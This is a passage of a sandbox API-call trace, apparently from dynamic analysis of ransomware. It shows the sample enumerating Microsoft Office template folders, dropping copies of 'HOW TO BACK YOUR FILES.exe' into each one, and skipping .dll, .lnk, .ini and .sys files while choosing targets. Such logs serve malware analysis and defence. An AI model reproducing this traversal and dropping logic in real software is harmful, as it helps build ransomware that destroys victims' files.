	[0062.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0062.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc9b8
	[0062.660] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0062.660] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office14", cAlternateFileName="")) returned 1
	[0062.660] lstrcmpiW (lpString1="Office14", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.660] lstrcmpiW (lpString1="Office14", lpString2="Apollon865.txt.exe") returned 1
	[0062.660] lstrcpyW (in: lpString1=0x2d3e594, lpString2="Office14" | out: lpString1="Office14") returned="Office14"
	[0062.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0062.660] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x598468
	[0062.660] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0062.660] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e819f0, ftCreationTime.dwHighDateTime=0x1d53a10, ftLastAccessTime.dwLowDateTime=0x55bbaa0, ftLastAccessTime.dwHighDateTime=0x1d4f929, ftLastWriteTime.dwLowDateTime=0x55bbaa0, ftLastWriteTime.dwHighDateTime=0x1d4f929, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="representations-fifth.exe", cAlternateFileName="REPRES~1.EXE")) returned 1
	[0062.660] lstrcmpiW (lpString1="representations-fifth.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.660] lstrcmpiW (lpString1="representations-fifth.exe", lpString2="Apollon865.txt.exe") returned 1
	[0062.660] lstrcpyW (in: lpString1=0x2d3e594, lpString2="representations-fifth.exe" | out: lpString1="representations-fifth.exe") returned="representations-fifth.exe"
	[0062.660] lstrlenW (lpString="representations-fifth.exe") returned 25
	[0062.660] lstrlenW (lpString="Apollon865") returned 10
	[0062.660] lstrcmpiW (lpString1="-fifth.exe", lpString2="Apollon865") returned 1
	[0062.661] lstrlenW (lpString=".dll") returned 4
	[0062.661] lstrcmpiW (lpString1="representations-fifth.exe", lpString2=".dll") returned 1
	[0062.661] lstrlenW (lpString=".lnk") returned 4
	[0062.661] lstrcmpiW (lpString1="representations-fifth.exe", lpString2=".lnk") returned 1
	[0062.661] lstrlenW (lpString=".ini") returned 4
	[0062.661] lstrcmpiW (lpString1="representations-fifth.exe", lpString2=".ini") returned 1
	[0062.661] lstrlenW (lpString=".sys") returned 4
	[0062.661] lstrcmpiW (lpString1="representations-fifth.exe", lpString2=".sys") returned 1
	[0062.661] lstrlenW (lpString="representations-fifth.exe") returned 25
	[0062.661] lstrcpyW (in: lpString1=0x2d3e594, lpString2="Stationery" | out: lpString1="Stationery") returned="Stationery"
	[0062.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0062.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c5458
	[0062.661] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7b10
	[0062.661] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
	[0062.661] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.661] lstrcmpiW (lpString1="Templates", lpString2="Apollon865.txt.exe") returned 1
	[0062.661] lstrcpyW (in: lpString1=0x2d3e594, lpString2="Templates" | out: lpString1="Templates") returned="Templates"
	[0062.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0062.661] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x58) returned 0x5984c8
	[0062.661] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7990
	[0062.661] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
	[0062.661] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.661] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b90
	[0062.661] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates"
	[0062.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5984c8 | out: hHeap=0x580000) returned 1
	[0062.661] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0062.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates") returned 43
	[0062.661] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates") returned="C:\\Program Files\\Microsoft Office\\Templates"
	[0062.662] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.662] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.668] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.668] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3d6b85f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d6b85f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.668] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.668] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.668] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0062.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0062.668] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5c8f30
	[0062.668] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7990
	[0062.668] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6b85f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d6b85f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.668] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.668] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0062.668] lstrcmpiW (lpString1="Presentation Designs", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.668] lstrcmpiW (lpString1="Presentation Designs", lpString2="Apollon865.txt.exe") returned 1
	[0062.668] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Presentation Designs" | out: lpString1="Presentation Designs") returned="Presentation Designs"
	[0062.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7bc8
	[0062.669] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0062.669] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bd0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bd0) returned 0x5b7b90
	[0062.669] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0
	[0062.669] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.669] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bd0
	[0062.669] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs"
	[0062.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0062.669] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0062.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned 64
	[0062.669] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs") returned="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs"
	[0062.669] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.669] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\presentation designs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.673] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.673] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\Presentation Designs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d6de750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d6de750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.673] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.673] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.673] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Maple.gif" | out: lpString1="Maple.gif") returned="Maple.gif"
	[0062.673] lstrlenW (lpString="Maple.gif") returned 9
	[0062.673] lstrlenW (lpString="Apollon865") returned 10
	[0062.673] lstrlenW (lpString=".dll") returned 4
	[0062.673] lstrcmpiW (lpString1="Maple.gif", lpString2=".dll") returned 1
	[0062.673] lstrlenW (lpString=".lnk") returned 4
	[0062.673] lstrcmpiW (lpString1="Maple.gif", lpString2=".lnk") returned 1
	[0062.673] lstrlenW (lpString=".ini") returned 4
	[0062.673] lstrcmpiW (lpString1="Maple.gif", lpString2=".ini") returned 1
	[0062.673] lstrlenW (lpString=".sys") returned 4
	[0062.673] lstrcmpiW (lpString1="Maple.gif", lpString2=".sys") returned 1
	[0062.674] lstrlenW (lpString="Maple.gif") returned 9
	[0062.674] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033"
	[0062.674] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0062.674] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0062.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned 48
	[0062.674] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033"
	[0062.674] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.674] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.680] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.680] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3d6de750, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d6de750, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.681] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.681] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.682] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="Access" | out: lpString1="Access") returned="Access"
	[0062.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b88
	[0062.682] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a920
	[0062.682] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b90 | out: ListHead=0x5b76b0, ListEntry=0x5b7b90) returned 0x5b7990
	[0062.682] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0062.682] lstrcmpiW (lpString1="AdjacencyLetter.dotx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.682] lstrcmpiW (lpString1="AdjacencyLetter.dotx", lpString2="Apollon865.txt.exe") returned -1
	[0062.682] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="AdjacencyLetter.dotx" | out: lpString1="AdjacencyLetter.dotx") returned="AdjacencyLetter.dotx"
	[0062.682] lstrlenW (lpString="AdjacencyLetter.dotx") returned 20
	[0062.682] lstrlenW (lpString="Apollon865") returned 10
	[0062.682] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.682] lstrlenW (lpString=".dll") returned 4
	[0062.682] lstrcmpiW (lpString1="AdjacencyLetter.dotx", lpString2=".dll") returned 1
	[0062.682] lstrlenW (lpString=".lnk") returned 4
	[0062.682] lstrcmpiW (lpString1="AdjacencyLetter.dotx", lpString2=".lnk") returned 1
	[0062.682] lstrlenW (lpString=".ini") returned 4
	[0062.682] lstrcmpiW (lpString1="AdjacencyLetter.dotx", lpString2=".ini") returned 1
	[0062.683] lstrlenW (lpString=".sys") returned 4
	[0062.683] lstrcmpiW (lpString1="AdjacencyLetter.dotx", lpString2=".sys") returned 1
	[0062.683] lstrlenW (lpString="AdjacencyLetter.dotx") returned 20
	[0062.683] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="AdjacencyMergeLetter.dotx" | out: lpString1="AdjacencyMergeLetter.dotx") returned="AdjacencyMergeLetter.dotx"
	[0062.683] lstrlenW (lpString="AdjacencyMergeLetter.dotx") returned 25
	[0062.683] lstrlenW (lpString="Apollon865") returned 10
	[0062.683] lstrcmpiW (lpString1="etter.dotx", lpString2="Apollon865") returned 1
	[0062.683] lstrlenW (lpString=".dll") returned 4
	[0062.683] lstrcmpiW (lpString1="AdjacencyMergeLetter.dotx", lpString2=".dll") returned 1
	[0062.683] lstrlenW (lpString=".lnk") returned 4
	[0062.683] lstrcmpiW (lpString1="AdjacencyMergeLetter.dotx", lpString2=".lnk") returned 1
	[0062.683] lstrlenW (lpString=".ini") returned 4
	[0062.683] lstrcmpiW (lpString1="AdjacencyMergeLetter.dotx", lpString2=".ini") returned 1
	[0062.683] lstrlenW (lpString=".sys") returned 4
	[0062.683] lstrcmpiW (lpString1="AdjacencyMergeLetter.dotx", lpString2=".sys") returned 1
	[0062.683] lstrlenW (lpString="AdjacencyMergeLetter.dotx") returned 25
	[0062.683] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="AdjacencyReport.dotx" | out: lpString1="AdjacencyReport.dotx") returned="AdjacencyReport.dotx"
	[0062.683] lstrlenW (lpString="AdjacencyReport.dotx") returned 20
	[0062.683] lstrlenW (lpString="Apollon865") returned 10
	[0062.683] lstrcmpiW (lpString1="eport.dotx", lpString2="Apollon865") returned 1
	[0062.683] lstrlenW (lpString=".dll") returned 4
	[0062.683] lstrcmpiW (lpString1="AdjacencyReport.dotx", lpString2=".dll") returned 1
	[0062.683] lstrlenW (lpString=".lnk") returned 4
	[0062.683] lstrcmpiW (lpString1="AdjacencyReport.dotx", lpString2=".lnk") returned 1
	[0062.683] lstrlenW (lpString=".ini") returned 4
	[0062.683] lstrcmpiW (lpString1="AdjacencyReport.dotx", lpString2=".ini") returned 1
	[0062.683] lstrlenW (lpString=".sys") returned 4
	[0062.683] lstrcmpiW (lpString1="AdjacencyReport.dotx", lpString2=".sys") returned 1
	[0062.683] lstrlenW (lpString="AdjacencyReport.dotx") returned 20
	[0062.684] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="AdjacencyResume.dotx" | out: lpString1="AdjacencyResume.dotx") returned="AdjacencyResume.dotx"
	[0062.684] lstrlenW (lpString="AdjacencyResume.dotx") returned 20
	[0062.684] lstrlenW (lpString="Apollon865") returned 10
	[0062.684] lstrcmpiW (lpString1="esume.dotx", lpString2="Apollon865") returned 1
	[0062.684] lstrlenW (lpString=".dll") returned 4
	[0062.684] lstrcmpiW (lpString1="AdjacencyResume.dotx", lpString2=".dll") returned 1
	[0062.684] lstrlenW (lpString=".lnk") returned 4
	[0062.684] lstrcmpiW (lpString1="AdjacencyResume.dotx", lpString2=".lnk") returned 1
	[0062.684] lstrlenW (lpString=".ini") returned 4
	[0062.684] lstrcmpiW (lpString1="AdjacencyResume.dotx", lpString2=".ini") returned 1
	[0062.684] lstrlenW (lpString=".sys") returned 4
	[0062.684] lstrcmpiW (lpString1="AdjacencyResume.dotx", lpString2=".sys") returned 1
	[0062.684] lstrlenW (lpString="AdjacencyResume.dotx") returned 20
	[0062.684] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR1.XLT" | out: lpString1="ADR1.XLT") returned="ADR1.XLT"
	[0062.684] lstrlenW (lpString="ADR1.XLT") returned 8
	[0062.684] lstrlenW (lpString="Apollon865") returned 10
	[0062.684] lstrlenW (lpString=".dll") returned 4
	[0062.684] lstrcmpiW (lpString1="ADR1.XLT", lpString2=".dll") returned 1
	[0062.684] lstrlenW (lpString=".lnk") returned 4
	[0062.684] lstrcmpiW (lpString1="ADR1.XLT", lpString2=".lnk") returned 1
	[0062.684] lstrlenW (lpString=".ini") returned 4
	[0062.684] lstrcmpiW (lpString1="ADR1.XLT", lpString2=".ini") returned 1
	[0062.684] lstrlenW (lpString=".sys") returned 4
	[0062.684] lstrcmpiW (lpString1="ADR1.XLT", lpString2=".sys") returned 1
	[0062.684] lstrlenW (lpString="ADR1.XLT") returned 8
	[0062.684] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR10.XLT" | out: lpString1="ADR10.XLT") returned="ADR10.XLT"
	[0062.684] lstrlenW (lpString="ADR10.XLT") returned 9
	[0062.684] lstrlenW (lpString="Apollon865") returned 10
	[0062.684] lstrlenW (lpString=".dll") returned 4
	[0062.684] lstrcmpiW (lpString1="ADR10.XLT", lpString2=".dll") returned 1
	[0062.684] lstrlenW (lpString=".lnk") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR10.XLT", lpString2=".lnk") returned 1
	[0062.685] lstrlenW (lpString=".ini") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR10.XLT", lpString2=".ini") returned 1
	[0062.685] lstrlenW (lpString=".sys") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR10.XLT", lpString2=".sys") returned 1
	[0062.685] lstrlenW (lpString="ADR10.XLT") returned 9
	[0062.685] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR2.XLT" | out: lpString1="ADR2.XLT") returned="ADR2.XLT"
	[0062.685] lstrlenW (lpString="ADR2.XLT") returned 8
	[0062.685] lstrlenW (lpString="Apollon865") returned 10
	[0062.685] lstrlenW (lpString=".dll") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR2.XLT", lpString2=".dll") returned 1
	[0062.685] lstrlenW (lpString=".lnk") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR2.XLT", lpString2=".lnk") returned 1
	[0062.685] lstrlenW (lpString=".ini") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR2.XLT", lpString2=".ini") returned 1
	[0062.685] lstrlenW (lpString=".sys") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR2.XLT", lpString2=".sys") returned 1
	[0062.685] lstrlenW (lpString="ADR2.XLT") returned 8
	[0062.685] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR3.XLT" | out: lpString1="ADR3.XLT") returned="ADR3.XLT"
	[0062.685] lstrlenW (lpString="ADR3.XLT") returned 8
	[0062.685] lstrlenW (lpString="Apollon865") returned 10
	[0062.685] lstrlenW (lpString=".dll") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR3.XLT", lpString2=".dll") returned 1
	[0062.685] lstrlenW (lpString=".lnk") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR3.XLT", lpString2=".lnk") returned 1
	[0062.685] lstrlenW (lpString=".ini") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR3.XLT", lpString2=".ini") returned 1
	[0062.685] lstrlenW (lpString=".sys") returned 4
	[0062.685] lstrcmpiW (lpString1="ADR3.XLT", lpString2=".sys") returned 1
	[0062.685] lstrlenW (lpString="ADR3.XLT") returned 8
	[0062.686] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR4.XLT" | out: lpString1="ADR4.XLT") returned="ADR4.XLT"
	[0062.686] lstrlenW (lpString="ADR4.XLT") returned 8
	[0062.686] lstrlenW (lpString="Apollon865") returned 10
	[0062.686] lstrlenW (lpString=".dll") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR4.XLT", lpString2=".dll") returned 1
	[0062.686] lstrlenW (lpString=".lnk") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR4.XLT", lpString2=".lnk") returned 1
	[0062.686] lstrlenW (lpString=".ini") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR4.XLT", lpString2=".ini") returned 1
	[0062.686] lstrlenW (lpString=".sys") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR4.XLT", lpString2=".sys") returned 1
	[0062.686] lstrlenW (lpString="ADR4.XLT") returned 8
	[0062.686] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR5.XLT" | out: lpString1="ADR5.XLT") returned="ADR5.XLT"
	[0062.686] lstrlenW (lpString="ADR5.XLT") returned 8
	[0062.686] lstrlenW (lpString="Apollon865") returned 10
	[0062.686] lstrlenW (lpString=".dll") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR5.XLT", lpString2=".dll") returned 1
	[0062.686] lstrlenW (lpString=".lnk") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR5.XLT", lpString2=".lnk") returned 1
	[0062.686] lstrlenW (lpString=".ini") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR5.XLT", lpString2=".ini") returned 1
	[0062.686] lstrlenW (lpString=".sys") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR5.XLT", lpString2=".sys") returned 1
	[0062.686] lstrlenW (lpString="ADR5.XLT") returned 8
	[0062.686] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="ADR6.XLT" | out: lpString1="ADR6.XLT") returned="ADR6.XLT"
	[0062.686] lstrlenW (lpString="ADR6.XLT") returned 8
	[0062.686] lstrlenW (lpString="Apollon865") returned 10
	[0062.686] lstrlenW (lpString=".dll") returned 4
	[0062.686] lstrcmpiW (lpString1="ADR6.XLT", lpString2=".dll") returned 1
